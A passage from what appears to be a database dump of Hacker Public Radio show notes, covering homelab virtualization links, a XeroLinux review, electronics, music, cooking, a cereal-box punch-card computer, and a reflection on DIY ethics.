Integrated Intel UHD Graphics 620.</li>\n<li>DISK: 1TB 5400 rpm SATA HDD (with empty m.2 SATA slot).</li>\n<li>NIC: Integrated 10/100/1000 GbE LAN.\n<ul>\n<li>802.11 b/g/n Wi-Fi &amp; Bluetooth 4.2 combo.</li>\n</ul></li>\n</ul></li>\n</ul>\n<hr />\n<h2 id=\"software-and-documumentation-mentioned-during-the-show\">Software\nand documumentation mentioned during the show.</h2>\n<ul>\n<li>Running Laptop, server style, with the Lid closed.\n<ol type=\"1\">\n<li>Edit logind.conf\n<code>sudo vim /etc/systemd/logind.conf</code>.</li>\n<li>Remove the <code>#</code> from these lines then set values to\n<code>ignore</code>:\n<ul>\n<li><code>HandleSuspendkey=ignore</code></li>\n<li><code>HandleLidSwitch=ignore</code></li>\n<li><code>HandleLidSwitchDocked=ignore</code></li>\n</ul></li>\n<li>Save then quit.\n<ul>\n<li>I\'m not going to tell you how ;)</li>\n</ul></li>\n<li>Finally, restart systemd-logind.\n<ul>\n<li><code>sudo systemctl restart systemd-logind.service</code></li>\n</ul></li>\n</ol></li>\n</ul>\n<h2 id=\"way-of-the-archer72\">Way of the Archer72.</h2>\n<ul>\n<li><a href=\"https://www.proxmox.com/en/\">Proxmox Homepage.</a>\n<ul>\n<li>Proxmox VE is a complete open-source platform for enterprise\nvirtualization. With the built-in web interface you can easily manage\nVMs and containers, software-defined storage and networking,\nhigh-availability clustering, and multiple out-of-the-box tools on a\nsingle solution.</li>\n<li><a href=\"https://pbs.proxmox.com/docs/\">Proxmox backup\ndocumentation.</a></li>\n<li><a href=\"https://pbs.proxmox.com/docs/proxmox-backup.pdf\">Proxmox\nbackup documentation .pdf download.</a></li>\n<li><a\nhref=\"https://www.proxmox.com/en/training/video-tutorials\">Proxmox video\ntutorials</a></li>\n<li><a href=\"https://pbs.proxmox.com/wiki/index.php/Main_Page\">Proxmox\nwiki.</a></li>\n<li><a href=\"https://bobcares.com/blog/proxmox-vlan-bridge\">Proxmox vLAN\nnetworking information.</a></li>\n<li><a href=\"https://bobcares.com/blog/setup-nat-on-proxmox/\">Proxmox\nNAT config information.</a></li>\n</ul></li>\n<li><a href=\"https://www.youtube.com/watch?v=_u8qTN3cCnQ\">Youtube\nvideo:</a> install/config Proxmox.</li>\n<li><a href=\"https://www.duckdns.org/why.jsp\">Duck DNS</a>\n<ul>\n<li>hosted on AWS, with no upfront cost to the user.</li>\n<li>Dynamic DNS service; dynamically update DNS records without the need\nfor human interaction. Connect to your home/local network from a remote\nnetwork using a domain name instead of an IP address.</li>\n</ul></li>\n</ul>\n<h2 id=\"way-of-the-sgoti\">Way of the SGOTI.</h2>\n<ul>\n<li><a\nhref=\"https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/7/html/virtualization_deployment_and_administration_guide/sect-guest_virtual_machine_installation_overview-creating_guests_with_virt_install\">RHEL\nDocumentation:</a> Creating guests with <code>virt-install</code>\n<ul>\n<li><a\nhref=\"https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/9\">RHEL\n9 product documentation list</a></li>\n<li>You can use the <code>virt-install</code> command to create virtual\nmachines and install operating system on those virtual machines from the\ncommand line. <code>virt-install</code> can be used either interactively\nor as part of a script to automate the creation of virtual\nmachines.</li>\n</ul></li>\n<li><a href=\"https://virt-manager.org/\">virt-manager</a>\n<ul>\n<li>The <code>virt-manager</code> application is a desktop user\ninterface for managing virtual machines through libvirt. It primarily\ntargets KVM VMs, but also manages Xen and LXC (linux containers).</li>\n<li><code>virt-install</code> is a command line tool which provides an\neasy way to provision operating systems into virtual machines.</li>\n<li><code>virt-viewer</code> is a lightweight UI interface for\ninteracting with the graphical display of virtualized guest OS. It can\ndisplay VNC or SPICE, and uses libvirt to lookup the graphical\nconnection details.</li>\n<li><code>virt-clone</code> is a command line tool for cloning existing\ninactive guests. It copies the disk images, and defines a config with\nnew name, UUID and MAC address pointing to the copied disks.</li>\n<li><code>virt-xml</code> is a command line tool for easily editing\nlibvirt domain XML using virt-install&#x2019;s command line options.</li>\n<li><code>virt-bootstrap</code> is a command line tool providing an easy\nway to setup the root file system for libvirt-based containers.</li>\n</ul></li>\n<li><a href=\"https://www.qemu.org/docs/master/\">qemu documentation</a>\n<ul>\n<li><a href=\"https://wiki.qemu.org/Category:User_documentation\">qemu\nwiki: User documentation</a></li>\n<li><a href=\"https://wiki.qemu.org/Features/KVM\">qemu wiki: KVM</a></li>\n</ul></li>\n<li><a href=\"https://www.linux-kvm.org/page/Main_Page\">KVM homepage</a>\n<ul>\n<li>KVM (for Kernel-based Virtual Machine) is a full virtualization\nsolution for Linux on x86 hardware containing virtualization extensions\n(Intel VT or AMD-V). It consists of a loadable kernel module, kvm.ko,\nthat provides the core virtualization infrastructure and a processor\nspecific module, kvm-intel.ko or kvm-amd.ko.</li>\n<li>Using KVM, one can run multiple virtual machines running unmodified\nLinux or Windows images. Each virtual machine has private virtualized\nhardware: a network card, disk, graphics adapter, etc.</li>\n</ul></li>\n<li><a href=\"https://cockpit-project.org/\">Cockpit</a>\n<ul>\n<li>Cockpit is a web-based graphical interface for servers, intended for\neveryone.</li>\n<li><a\nhref=\"https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/9/html/managing_systems_using_the_rhel_9_web_console/index\">RHEL\n9: web console/cockpit documentation</a></li>\n<li><a href=\"https://cockpit-project.org/guide/latest/\">Cockpit\nDeployment Guide</a></li>\n<li><a href=\"https://www.redhat.com/sysadmin/intro-cockpit\">RHEL intro\nto Cockpit guide.</a></li>\n</ul></li>\n<li><a href=\"https://www.youtube.com/watch?v=HxvFuGnjoJo\">Youtube\nvideo:</a> Fedora server on a Laptop.\n<ul>\n<li>14:45, editing /etc/systemd/logind.conf</li>\n</ul></li>\n<li><a href=\"https://www.youtube.com/watch?v=Nh2-LjIymmQ\">Youtube\nvideo:</a> Deploying Nextcloud AIO containers.</li>\n</ul>\n<h2 id=\"additional-information\">Additional Information.</h2>\n<ul>\n<li><a href=\"https://www.geeksforgeeks.org/what-is-an-ip-address/\">What\nis an IP address?</a></li>\n<li><a href=\"https://whatismyipaddress.com/\">What\'s my IP\naddress?</a></li>\n<li><a href=\"https://www.cloudns.net/blog/what-is-dynamic-dns/\">What is\nDDNS?</a></li>\n<li><a\nhref=\"https://www.cloudflare.com/learning/dns/glossary/dynamic-dns\">Cloudflare\nDDNS glossary</a></li>\n<li><a href=\"https://portforward.com/\">How To Forward a Port.</a>\n<ul>\n<li>A port forward is a way of making a computer on your home or\nbusiness network accessible to computers on the internet, even though\nthey are behind a router or firewall. It is commonly used in gaming,\nsecurity cameras, home automation, and the Internet of Things (IoT).\nPort forwards are setup in your router. A forwarded port is also known\nas open. After you have forwarded a port you have an open port.</li>\n</ul></li>\n<li><a\nhref=\"https://www.maketecheasier.com/best-dynamic-dns-providers\">List of\nDDNS solutions</a> (with no upfront cost to the user).</li>\n<li>Duck Duck Go Search for <a\nhref=\"https://duckduckgo.com/?q=dynamic+dns&amp;t=h_&amp;ia=web\">Dynamic\nDNS</a></li>\n</ul>\n',391,8,0,'CC-BY-SA','proxmox, virt-install, virtual machine, DDNS, laptop',0,0,1),
(3776,'2023-01-23','A linux distro review',572,'A linux distro review','<h2 id=\"xerolinux\">Xerolinux</h2>\n<p><a href=\"https://xerolinux.xyz\"\nclass=\"uri\">https://xerolinux.xyz</a></p>\n<p>I installed XeroLinux on an older I mac I had, mostly due to 2\nfactors,</p>\n<ol type=\"1\">\n<li>I had the hardware and</li>\n<li>A review I saw touted the MAC like interface from a modified KDE\nPlasma base.</li>\n</ol>\n<p>As a Plasma user, how could I resist.</p>\n<p>I had previously installed Fedora 36 on the MAC and was receiving\nrandom hardware issues at boot time, I wanted to see if the issue\npersisted on and Arch base, and since I had never used Arch, this was a\nperfect test case.</p>\n<p>The install:</p>\n<ul>\n<li>Power on the MAC and (if you have a MAC keyboard) press and hold the\nOption key. This presented me with 2 options, boot into fedora, or to\nthe EFI partition on my USB with XeroLinux installer.</li>\n<li>Select the EFI USB device</li>\n<li>I was then presented with 4 menu options, XeroLinux installer, REFI\nboot options, MAC OS and reboot</li>\n<li>I chose to boot into the Installer</li>\n<li>In the GUI installer I was first given the options to install\nseveral fixes for virtual environments including Qemu and VMWare as well\nas an install option</li>\n<li>Next I was greeting (literally with a welcome screen proclaiming\n&#x201C;Welcome Fellow Linux Nerds&#x201D; )</li>\n</ul>\n<p>I am at home...lol</p>\n<p>After selecting language, time zone and Keyboard layouts, The disk\npartitioning options are presented (and in much less confusing verbage\nthan Fedora) and you are given choice of what swap partition type to\nuse, No Swap, Swap no hibernate swap with hibernate and swap to file\nalso a choice of file system, xfs, btrfs of ext4. I chose xfs the\ndefault, and since this is just a toy, not a high availability/high\ncapacity server, there is no need for BTRFS, and if I am happy with the\nstate of the system, I may well use it as a media server or Plex server\nand in that case I&#x2019;ll need the larger file capacity of XFS Also\navailable are the file system encryption check box and a manual\npartition options</p>\n<p>Under the user account setup, it detected and offered to set the\nmachine name as MAcPro51, which is fine, it&#x2019;ll help me id the device on\nmy network, VS a unique name I would then have to come up with but would\ninevitably also contain &#x201C;MAC&#x201D; The page also included check boxes to\nvalidate password strength (forcing strong passwords, an auto-login\noption and an option to &#x201C;reuse user password as root password. Obviously\nfor SUDO purposes, this would not be recommended, but in my situation, I\ndid chose it and the strong passwords validation</p>\n<p>The next screen verifies all the selections and when next is clicked,\nA pop-up wants you to confirm again that you want to make the changes\nselected.</p>\n<p>(insert jeopardy music while the install happens)</p>\n<p>During the install, there is a button to observe what is actually\ngoing on in the background, partitioning, file copies, compiles,\netc<br />\nFirst boot and login<br />\nWell poop,I see a message in the boot screens referring to a hardware\nissue in CPU0 bank 8, there might be a hardware issue, it IS and older\nIntel MAC after all&#x2026;</p>\n<p>Step one is, as always, update the system</p>\n<p><em>Picture 1</em><br />\n<a\nhref=\"https://hackerpublicradio.org/eps/hpr3776/PXL_20230103_204014040.jpg\"><img\nsrc=\"https://hackerpublicradio.org/eps/hpr3776/PXL_20230103_204014040_thumbnail.jpg\"\nalt=\"Picture 1\" /></a> <br/><small><small><em>Click the thumbnail to see\nthe full-sized image</em></small></small></p>\n<p>Yes, that is a silhouette of the MST3K guys, I&#x2019;m using a 720 P TV as\nmy monitor and watch movies when I&#x2019;m in my home office. 121 packages are\nready fro update including Kernel 5.19.12</p>\n<p>(more jeopardy Music)</p>\n<p>next stop: install proprietary driver , open source drivers and\nnon-preinstalled apps All this went very smoothly, as though the distro\nmaintainers had put lots of work and thought into it. To say I&#x2019;m\nimpressed is an understatement so far.</p>\n<p>Also there&#x2019;s a handy dandy &#x201C;Post install system config button, let&#x2019;s\nsee what that does&#x2026;</p>\n<p><em>Picture 2</em><br />\n<a\nhref=\"https://hackerpublicradio.org/eps/hpr3776/PXL_20230103_203936415.jpg\"><img\nsrc=\"https://hackerpublicradio.org/eps/hpr3776/PXL_20230103_203936415_thumbnail.jpg\"\nalt=\"Picture 2\" /></a> <br/><small><small><em>Click the thumbnail to see\nthe full-sized image</em></small></small></p>\n<p>Man, all kinds of goodies to play with!!</p>\n<p>With such goodies as Yakuake, Avanti browser and KDE connect\npreinstaled, the only thing I really needed was a decent office suite,\nLibre office, of course&#x2026;</p>\n<p>The XeroLinux &#x201C;Hello&#x201D; app is quite a setup, offering all the tools\nyou need to get up and running. With an app browser very similar to\nDiscover, used by Fedora, finding LibreOffice was easy, tick a check\nbox, a few dependencies needed confirmation, click install and poof,\ndone.</p>\n<p>I was able to seamlessly browse the internet and watched a full\nlength Jackie Chan movie on Netflix with no issues or buffering,\nLibre-office Calc opened in about 5 seconds, only marginally slower than\nmy regular I7 desktop PC running Fedora 35.</p>\n<p>The hardware</p>\n<p>2010 MACPRO5.1 with dual Intel Xeon 12 core processors running at\n2.5Ghz and 32 GB ram and an ATI Radeon HD 5770 I bought the MAC at a\nlocal college surplus auction with no hard drive, and installed a 500GB\n&#x201C;spinning rust&#x201D; hard drive I happened to have laying around.</p>\n<p>As older hardware, it&#x2019;s still fairly quiet and crash free, so far.\nWith a modest up time of 5 days.</p>\n<p><em>Picture 3</em><br />\n<a\nhref=\"https://hackerpublicradio.org/eps/hpr3776/PXL_20230103_204109808.jpg\"><img\nsrc=\"https://hackerpublicradio.org/eps/hpr3776/PXL_20230103_204109808_thumbnail.jpg\"\nalt=\"Picture 3\" /></a> <br/><small><small><em>Click the thumbnail to see\nthe full-sized image</em></small></small></p>\n<p><em>Picture 4</em><br />\n<a\nhref=\"https://hackerpublicradio.org/eps/hpr3776/PXL_20230103_203954184.jpg\"><img\nsrc=\"https://hackerpublicradio.org/eps/hpr3776/PXL_20230103_203954184_thumbnail.jpg\"\nalt=\"Picture 4\" /></a> <br/><small><small><em>Click the thumbnail to see\nthe full-sized image</em></small></small></p>\n',365,0,0,'CC-BY-SA','xero linux, distro review, linux distro, ',0,0,1),
(4046,'2024-02-05','HPR Community News for January 2024',0,'HPR Volunteers talk about shows released and comments posted in January 2024','',159,47,1,'CC-BY-SA','Community News',0,0,1),
(3771,'2023-01-16','How I eliminated pain naturally',1186,'I describe how I managed to eliminate pain from carpal tunnel syndrome and osteoarthritis.','<p>Wikipedia articles used:<br />\n<a href=\"https://en.wikipedia.org/wiki/Hypoalgesia\"\nclass=\"uri\">https://en.wikipedia.org/wiki/Hypoalgesia</a><br />\n<a href=\"https://en.wikipedia.org/wiki/Interval_training\"\nclass=\"uri\">https://en.wikipedia.org/wiki/Interval_training</a></p>\n<p>Transcript and accompanying photos can be found here by the date this\npodcast is released to the feed: <a href=\"https://pquirk.com\"\nclass=\"uri\">https://pquirk.com</a></p>\n<p>Wikipedia article on the Microsoft ergonomic keyboards:<br />\n<a href=\"https://en.wikipedia.org/wiki/Microsoft_ergonomic_keyboards\"\nclass=\"uri\">https://en.wikipedia.org/wiki/Microsoft_ergonomic_keyboards</a></p>\n<p>Latest version of the Microsoft natural keyboard: <a\nhref=\"https://www.microsoft.com/en-us/d/microsoft-ergonomic-keyboard/93841ngdwr1h\"\nclass=\"uri\">https://www.microsoft.com/en-us/d/microsoft-ergonomic-keyboard/93841ngdwr1h</a></p>\n',383,0,0,'CC-BY-NC-SA','elliptical,ergonomics,pain,natural,Microsoft,Logitech,Elecom',0,0,1),
(3792,'2023-02-14','Learning to read music, part one',1404,'In which we learn to read music by going for a walk','<p>Although many people can create music easily enough on their\ncomputers, not as many can read the traditional stave-and-dots notation\nthat have been in use for hundreds of years.</p>\n<p>In less than half an hour, you can grasp the basics of reading music\nin a way that\'s as natural as putting one foot in front of the\nother.</p>\n<p>I\'d advise either printing out the handout from <a\nhref=\"https://enistello.info\" class=\"uri\">https://enistello.info</a> or\nhaving it on a screen you can see easily while outdoors. But it\'s not\nessential!</p>\n<p>Keep your eyes (and ears) peeled for part two of this series on\nHacker Public Radio, when I\'ll cover more complex rhythms and you\'ll\nlearn a lot more about pitch in written music.</p>\n<p>Handout and more information at:<br />\n<a href=\"https://enistello.info\"\nclass=\"uri\">https://enistello.info</a></p>\n<p>The book I mention in this episode is The Songlines, by Bruce\nChatwin, published in 1987, and available from all good bookshops. Don\'t\nbuy it from Amazon, it only encourages them.</p>\n',415,0,0,'CC-BY-SA','music,self-learning,auto-didactic',0,0,1),
(3772,'2023-01-17','Adventures with a small solar panel',1663,'I have a look at a cheap solar panel and learn a bit about how it works, and doesn\'t work.','<p>Solar panels are not like other sources of electricity that we are\nused to using, such as the mains or batteries. In this episode I recount\nwhat I have learned from playing with a small few-watt solar panel and\nhow to coax useful electricity out of it. Some multimeters were harmed\nin the making of this episode.</p>\n',268,0,0,'CC-BY-SA','solar,electricity,power,electronics',0,0,1),
(3781,'2023-01-30','The Joule Thief',791,'Using the Joule Thief to suck energy out of flat batteries','<p>The Joule Thief is a delightfully simple circuit that can light an\nLED that requires 2V or more from a battery that is depleted to 1V or\nless. There are three components in addition to the battery and LED: an\nNPN transistor, a resistor and a double wound inductor. The key thing\nabout the inductor is that the same core shares two windings but in\nopposite directions.</p>\n<p>The explanation of how it works is simple enough, as long as you\nalready understand how inductors and transistors work. In other words,\nit isn\'t simple at all! In short, the double wound inductor and\ntransistor conspire to generate a transient high voltage spike and so\nturn LED on and off so rapidly that the human eye cannot perceive\nit.</p>\n<p>The idea of such a circuit is approaching its centenary but the name\nitself is only around 20 years old. I recommend you check out <a\nhref=\"http://bigclive.com/joule.htm\">Big Clive\'s web site</a> as it was\nhe who came up with the name \"Joule Thief\". I also recommend <a\nhref=\"https://www.youtube.com/watch?v=K53beWYdIpc\">this video</a> in\nwhich he constructs a circuit using some ninja-level soldering\nskills.</p>\n',268,0,0,'CC-BY-SA','electronics',0,0,1),
(3785,'2023-02-03','Hacking Boba Bubble Tapioca Pearls Fail ',3321,'Hacking Boba Bubble Tapioca Pearls Fail ','<p>Listen to me cook / fail / hack Boba Green Tea!</p>\n<h2 id=\"links\">Links</h2>\n<ul>\n<li><a href=\"https://en.wikipedia.org/wiki/Bubble_tea\">Wikipedia\'s\narticle on Bubble or Boba tea</a></li>\n</ul>\n',36,93,1,'CC-BY-SA','cooking,hacking,fail',0,0,1),
(3774,'2023-01-19','Emergency Show posted in 2014. Chump Car Report',1500,'The racing series for $500 cars.','<p>\n<em>From Wikipedia, the free encyclopedia</em><br />\nThe <b>Optima Batteries ChumpCar World Series</b> is a series of automotive endurance races held on paved road race courses across North America. The races range in length from 6 to 36 hours. The name is a parody of Champ Car, a defunct open wheel professional racing series. Races are sanctioned throughout the United States, as well as in Canada and Mexico. Teams are encouraged, but not required, to decorate their cars with themes.\n</p>\n\n<ul>\n<li><a href=\"http://www.freesound.org/\">http://www.freesound.org/</a>\n</li>\n<!-- <li><a href=\"http://chumpcar.com/downloads/2014-2016chumpcar-rules.pdf\">http://chumpcar.com/downloads/2014-2016chumpcar-rules.pdf</a> -->\n<li><a href=\"https://web.archive.org/web/20131007174250/http://chumpcar.com/downloads/2014-2016chumpcar-rules.pdf\">http://chumpcar.com/downloads/2014-2016chumpcar-rules.pdf</a>\n</li>\n<!-- <li><a href=\"http://chumpcar.com/downloads/chumpcar-rules.pdf\">http://chumpcar.com/downloads/chumpcar-rules.pdf</a> -->\n<li><a href=\"https://web.archive.org/web/20131209032918/http://www.chumpcar.com/downloads/chumpcar-rules.pdf\">http://chumpcar.com/downloads/chumpcar-rules.pdf</a>\n</li>\n<!-- <li><a href=\"http://chumpcar.com/register/results/89.pdf\">http://chumpcar.com/register/results/89.pdf</a> -->\n<li><a href=\"https://web.archive.org/web/20160324200039/https://www.chumpcar.com/register/results/89.pdf\">http://chumpcar.com/register/results/89.pdf</a>\n</li>\n<li>Charles please grade my math!: <a href=\"http://hackerpublicradio.org/eps.php?id=1353\">http://hackerpublicradio.org/eps.php?id=1353</a>\n</li>\n</ul>\n\n<p>\nI am using dimensional analysis. <br />\n(1.97 miles X 60 seconds X 60 minutes) / (110 seconds lap time X 1 minute X 1 hour) = 64.47 MPH for one lap.<br />\nnow it\'s your turn! A slower lap took 120 seconds - how fast was Jonny going?\n</p>\n\n<p>\n <small><small><em>Editor\'s Note 2023-01-23</em>: All of the above chumpcar.com links seem to be dead. They have been replaced with links from the WayBack Machine (archive.org).</small></small>\n</p>\n',209,0,1,'CC-BY-SA','Racing, Chump Car World Series, MonsterB, Portland Oregon, sounds, boring',0,0,1),
(3775,'2023-01-20','Emergency Show posted in 2014. How to make a punch-card computer',850,'How to make a punch-card computer from stuff from the kitchen','\n<h2>How to make a punch-card computer</h2>\n\n<p>In this show we are going to make a punch-card computer out of stuff from your kitchen.</p>\n\n<p>Most of the materials are things you would otherwise have thrown away.</p>\n\n<h3>What you will need</h3>\n\n<ul>\n<li>An empty breakfast cereal box.</li>\n<li>Some bamboo barbecue skewers, eight for an eight bit computer, nine for a nine bit etc. These things come in cheap packs of many skewers. Or you could clean up used skewers.</li>\n<li>Scissors or a sharp craft knife.</li>\n<li>Some glue. Preferably washable PVA glue if you care about your clothes or have a small child \'helping\'.</li>\n<li>Some pieces of card which you can write on, the number corresponds to the \'bit-ness\' of the computer. If you used eight skewers, you need eight bits of card. These need to be slightly narrower than the cereal box. They could be made from other cereal boxes sliced up. A height of about four inches, ten centimetres is good.</li>\n<li>An enquiring mind and temporarily suspended credulity.</li>\n</ul>\n\n<h2>What to do</h2>\n\n<h4>Step 1:</h4>\n\n<p>Prepare the case of the computer.</p>\n\n<p>Cut off the box flaps at the top where the cereal was poured out.</p>\n\n<p>The computer will eventually be used standing up in the usual position with the open end at the top.</p>\n\n<h4>Step 2:</h4>\n\n<p>Making a chute at the bottom.</p>\n\n<p>You need to make a sort of chute at the bottom so that stuff that falls down into the box will slide out the front.</p>\n\n<p>Do this by cutting a horizontal line across the width of the box about four or five inches, about eight centimetres from the bottom edge of the box.</p>\n\n<p>Now cut down the front edges of the box from the horizontal slit to the bottom.</p>\n\n<p>This will make a flap that you can fold down by putting your hand inside and pushing it out.</p>\n\n<p>Hinge it down and make a fold in this flap about half an inch (one centimetre) from the front edge of the flap.</p>\n\n<p>Coat the inside of the flap, above the fold, with glue. Now push the flap back up and press the folded (gluey) portion of the flap against the inside of the back of the box. You could use some sticky tape to hold it down while it dries.</p>\n\n<p>When the glue has dried you will be able to see how this now forms a chute at the bottom of the box.</p>\n\n<h4>Step 3:</h4>\n\n<p>Now draw a horizontal line across the front side of the box about an inch, or 2.5 centimetres from the open end.</p>\n\n<p>Now is the trickiest part because you will need to do some arithmetic. Pity you don\'t have a computer, right?</p>\n\n<p>You need to measure out a number of points across this line which correspond to the bit-ness of your computer. So if you are making an eight bit computer, you need eight marks spaced equally across this line, that\'s nine gaps across.</p>\n\n<p>When you have done this you are going to pierce holes in the box with either one of the BBQ skewers or something sharper. You need for the skewers to pass right through the box and out the back side, in the same position as accurately as possible. This might be easier if you draw and measure out the same points on the back panel and push holes through from both sides.</p>\n\n<p>Either way what you are aiming for is to make the path through the box as accurately level and equi-distant as possible. The skewers should pass through the box and remain parallel.</p>\n\n<h4>Step 4:</h4>\n\n<p>We are now going to make the punched cards.</p>\n\n<p>Create the same number of cards as the bit-ness of your computer. So an eight bit computer will require eight cards.</p>\n\n<p>The cards will be almost as wide as the inside of the box, and tall enough to write stuff on but not high enough to show their bottom edges through the chute hole at the bottom of the computer. And not so tall that when they fall to the bottom they get wedged between the chute and the back wall of the computer.</p>\n\n<p>Laying each card flat on the table, draw a horizontal line across the card about\nthe same distance from its top edge as you drew the line into which you punched holes in the body of the computer.</p>\n\n<p>You will need to measure out the same number of holes across this as the holes across your computer. Again accuracy is important if the computer is to work smoothly.</p>\n\n<p>Make each hole in the punched cards large enough that the skewers you used pass through the hole with no resistance. A hand-held single hole punch is good for this.</p>\n\n<p>The holes need to line up when the stack of cards is held flat in a pack.</p>\n\n<h4>Step 5:</h4>\n\n<p>Programming your punched cards.</p>\n\n<p>Take each card in turn and change all but one of the holes into a slot from the holes to the top of the card.</p>\n\n<p>For example, for card one, in an eight bit computer, leave hole zero (left-most for little-endian) as it is and for holes 1 to 7 cut from each side of the hole to the top edge, removing the little bit of card.</p>\n\n<p>So when a card is done it will look a bit like a comb with one hole somewhere along the row, corresponding to which bit the card represents.</p>\n\n<p>For the next card cut all the holes except the one to the right of the last one.</p>\n\n<p>When you have done this and placed the cards in a stack, you will see that what you have is a stack of cards, each of which has 1 intact hole and bit-ness minus 1 slots.</p>\n\n<h4>Step 6:</h4>\n\n<p>Loading the program into your computer.</p>\n\n<p>Holding the cards together in a stack, feed them into the top of the computer, with the punches at the top closest to the open top end of the box.</p>\n\n<p>Holding the cards in place so that their holes line up with the holes in the box, push skewers through from the front of the box, through the corresponding holes and slots in the stack of cards.</p>\n\n<p>Now when you stand the computer up, what you have is a box containing a stack of punched cards, each of which is only held in place by one skewer.</p>\n\n<p>And if you cut the cards to be very close to the width of the box, the cards will sit straight without drooping down at one end.</p>\n\n<h4>Step 7:</h4>\n\n<p>Getting some data out of your computer.</p>\n\n<p>Before you loaded the cards into the computer, you wrote some data on them, right?</p>\n\n<p>If you have an eight bit computer and you have eight kids, you will never forget their birthday again. Write the name and birthday of each child on a card and write their name above the skewer hole on the box, using the hole which corresponds to their card, the one with the intact (not a slot) in it.</p>\n\n<p>When you pull that skewer out, the corresponding card is no longer held in the box, and it drops down and slides out of the chute. Pity it\'s not quite as much fun as getting nice crisp bank notes out of a cash-machine.</p>\n\n<p>Finally, take a magic-marker and write \'Windows Vista\' on the front of the box. And it might be a good idea to snip off the sharp ends of the bamboo skewers before you put your eye out or damage a small child.</p>\n\n<h3>Troubleshooting</h3>\n\n<p>Problem: When I pull out a skewer, no card drops out.</p>\n\n<p>Possible causes: There is too much friction between the cards or between the outer edges of the card and the sides of the box. When you load the cards, try to spread them apart a bit. And make the cards a few millimetres narrower than the box. Or the holes and slots in the cards are too small and there is too much friction between the edges of a slot and a skewer.</p>\n\n<h3>Conclusion</h3>\n\n<p>This is a totally pointless activity and you need to get out more.</p>\n\n<p>I remember seeing this somewhere when I was a very small child. Either in a book or on TV. I think it may have been my slightly older brother who made it. I have the vaguest recollection of a cereal box with some of my mum\'s knitting needles sticking out.</p>\n\n<p>If you used eight bamboo skewers, you are now the proud owner of an eight bit computer with eight bits of random access memory.</p>\n\n<p>A slight drawback is that each time you ask for output (pull out a skewer) the data bit you asked for is no longer inside the computer\'s memory. So you will have to \'reboot\' every five minutes (sound familiar?).</p>\n\n<p>And because of the way it works, eight bits does not mean 256 different cards.</p>\n\n<p>But it\'s fun and a young kid will delight in pulling out a skewer to make a card drop out. There is glue involved as well.</p>\n\n<p>Mike</p>\n',282,0,0,'CC-BY-SA','home-made computer, glue, fun, kids',0,0,1),
(3777,'2023-01-24','Running Haiku on Bhyve, the BSD Hypervisor',531,'Claudio talks about installing and running Haiku R1/beta4 on Bhyve','<ul>\n<li><p>Bhyve - The BSD Hypervisor<br />\n<a href=\"https://bhyve.org/\" class=\"uri\">https://bhyve.org/</a></p></li>\n<li><p>vm-bhyve - Management system for FreeBSD bhyve virtual\nmachines<br />\n<a href=\"https://github.com/churchers/vm-bhyve\"\nclass=\"uri\">https://github.com/churchers/vm-bhyve</a></p></li>\n<li><p>Haiku - Open-source OS inspired by BeOS<br />\n<a href=\"https://www.haiku-os.org/\"\nclass=\"uri\">https://www.haiku-os.org/</a></p></li>\n<li><p>UEFI Booting Haiku<br />\n<a href=\"https://www.haiku-os.org/guides/uefi_booting/\"\nclass=\"uri\">https://www.haiku-os.org/guides/uefi_booting/</a></p></li>\n</ul>\n',152,0,0,'CC-BY-SA','freebsd,haiku,beos,bhyve,vmbhyve,bsd,virtualization,hypervisor',0,0,1),
(3778,'2023-01-25','A Squirrel Beeing on Google Products and Google Security',1223,'I made a \'beeing\" podcast about Google products, interoperability and their lousy security','<p>I have a discussion about my Android \"WIPING\" and how it affected my\n2 factor authorization with Google. Further I \"beein\" some more about\nAndroid not being able to authenticate against a known chromebook using\nGOOGLE SECURITY, what a \"beeing\" , \"beeing\"!!!!</p>\n<p>And I also cover Google\'s lousy support for chromebooks through\nAndroid, not sharing bandwidth via the cell communication channels. I\ncover easytether and ask why Google hasn\'t given chromebooks the same\nbandwidth access any Android phone would have??? WHY???</p>\n<p>Google is so piggish and stupid that Android and chromebooks are\nalmost as if they were separate companies who are in competition with\neach other instead of two products from the same company.</p>\n<p>I also cover the overbearing Android growth via QR codes and programs\nlike healio.</p>\n',377,0,1,'CC-BY-SA','Android, chromebooks, easytether, cellphones, bandwidth,beeing,sucks, QRcodes, healio',0,0,1),
(3779,'2023-01-26','Just Because You Can Do a Thing... ',198,'Just because you can do a thing, does that mean you should?','<p>Hello Hacker Public Radio fans. This is Trey, and I am throwing this\nrecording together for several reasons:</p>\n<ol type=\"1\">\n<li><p>The queue of shows is abysmally sparse. There are far more\nopenings for shows in the next few weeks than there are shows\nposted.</p></li>\n<li><p>This show is a pitiful excuse for why I haven\'t posted any shows\nrecently</p></li>\n</ol>\n<p>If you like what you hear on Hacker Public Radio, please express your\ngratitude by recording your own show. It doesn\'t need to be long, or\nsound professional, or anything. Introduce yourself and share something\nyou find interesting.</p>\n<p>If you do not like any or all of what you hear on Hacker Public\nRadio, then it is the perfect opportunity for you to take a few minutes\nand record a short (or long) podcast of your own which \"fills the gap\"\nof what you might feel is needed on HPR.</p>\n<p>Alright. Enough preliminaries.</p>\n<p>A long time ago, at an undisclosed university far, far away, I took\nmy first class about Ethics. One of the things I remember most was the\nquestion of \"Just because you can do a thing, does that mean you should\ndo the thing?\"</p>\n<p>This was applied to many different scenarios - from nation states\nbuilding weapons of mass destruction, to authoring computer viruses, and\neven to saying what you are thinking at any given moment.</p>\n<p>It should quickly become obvious that you should not always do a\nthing simply because you can do it. And today, I would like to relate\nthat to DIY home improvement projects, especially as we work our way up\nin years.</p>\n<p>For regular listeners, you may recall my series \"Everything You\nAlways Wanted to Knox about PEX\" recorded and shared in May through July\nof 2022 (<a\nhref=\"http://hackerpublicradio.org/eps.php?id=3604\">hpr3604</a>, <a\nhref=\"http://hackerpublicradio.org/eps.php?id=3614\">hpr3614</a>, <a\nhref=\"http://hackerpublicradio.org/eps.php?id=3624\">hpr3624</a> &amp; <a\nhref=\"http://hackerpublicradio.org/eps.php?id=3634\">hpr3634</a>). In\nthis series, I recounted the process of replumbing my home using PEX\nwith helpful advice for anyone else who wants to try it. What I did not\nrealize at the time I was doing the project was the toll that doing so\nmuch work overhead, by myself, was taking on my old shoulder joints. It\nwas only one straw, but a rather significant one, which eventually broke\nthe camel\'s back. Or, in my case, resulted in several severe tears in my\nrotator cuff and bicep tendon.</p>\n<p>Therapy was marginally effective, and surgery was eventually required\nto put things back together the way they belonged. My effort to save\nmoney and do the project myself \"Because I could\" helped lead to\nsignificantly more expenses and more than a year of recovery.</p>\n<p>I am not sharing this for 